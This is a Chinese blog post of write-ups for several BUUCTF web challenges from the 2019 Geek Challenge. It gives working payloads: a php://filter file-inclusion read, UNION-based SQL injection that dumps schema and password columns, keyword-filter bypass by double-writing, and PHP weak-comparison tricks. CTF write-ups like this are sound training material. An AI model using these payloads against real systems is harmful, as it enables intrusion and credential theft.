buuctf刷题记录(一)

今天闲来无事,项目也做得差不多了,于是刷刷题打发打发时间。

0x01 [极客大挑战 2019]Secret File

访问题目,查看源码,发现一个链接,因为背景和文字都是黑色所以前端页面看不出来。

访问之,点击然后跳转,浏览器开发者工具查看network请求包,发现一个跳转页面action.php

看看其源码,发现sece3t.php页面

访问之得到一源码

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>

然后发现三个或运算过滤了四种方式,但是还可以利用php伪协议中的php://filter包含flag.php即可得flag

payload?file=php://filter/convert.base64-encode/resource=flag.php

0x02 [极客大挑战 2019]Knife

页面标题叫白给的shell,页面如下

白给那就直连吧,成功,根目录发现flag

0x03 [极客大挑战 2019]LoveSQL

上面红色小字显示用sqlmap是没有灵魂的挺有意思,看见登录框即试一发万能密码admin' and 1=1 #,成功登录

接下来常规sql查询

查字段数:

1
?username=admin%27 order by 3%23&password=1

查库:

1
?username=-admin%27 union select 1,2,group_concat(schema_name) from information_schema.schemata%23&password=1

查表:

1
?username=-admin%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

查列:

1
?username=-admin%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database()%23&password=1

查密码字段的数据:

1
?username=-admin%27 union select 1,2,group_concat(password) from l0ve1ysq1%23&password=1

0x03 [极客大挑战 2019]Http

查看题目源码发现页面Secret.php,访问之

添加referer字段

修改UA

添加xff

flag

0x04 [极客大挑战 2019]BabySQL

简单fuzz后发现这个题与LoveSQL的区别在于过滤了如orfromunion等关键函数,经测试双写就能绕过

1
?username=admin%27 oorr 1=1%23&password=1

查字段数:

1
?username=admin%27 oorrder bbyy 3%23&password=1

查库:

1
?username=-admin%27uniunionon selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata%23&password=1

查表:

1
?username=-admin%27uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()%23&password=1

查列:

1
?username=-admin%27uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'%23&password=1

查密码字段数据:

1
?username=-admin%27uniunionon selselectect 1,2,group_concat(passwoorrd) frfromom b4bsql%23&password=1

0x05 [极客大挑战 2019]BuyFlag

访问题目,源码得到页面pay.php,再查看源码得到注释信息

1
2
3
4
5
6
7
8
9
10
11
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->

password404,还需要绕过is_numeric()函数,先抓包看看

先把user改为1

现在开始post需要的参数,password==404弱等于,password=404%绕过is_numeric()函数,money直接传入会显示过长,于是利用科学技术法money=1e9传入即可得flag

Thank you very much if you can.

欢迎关注我的其它发布渠道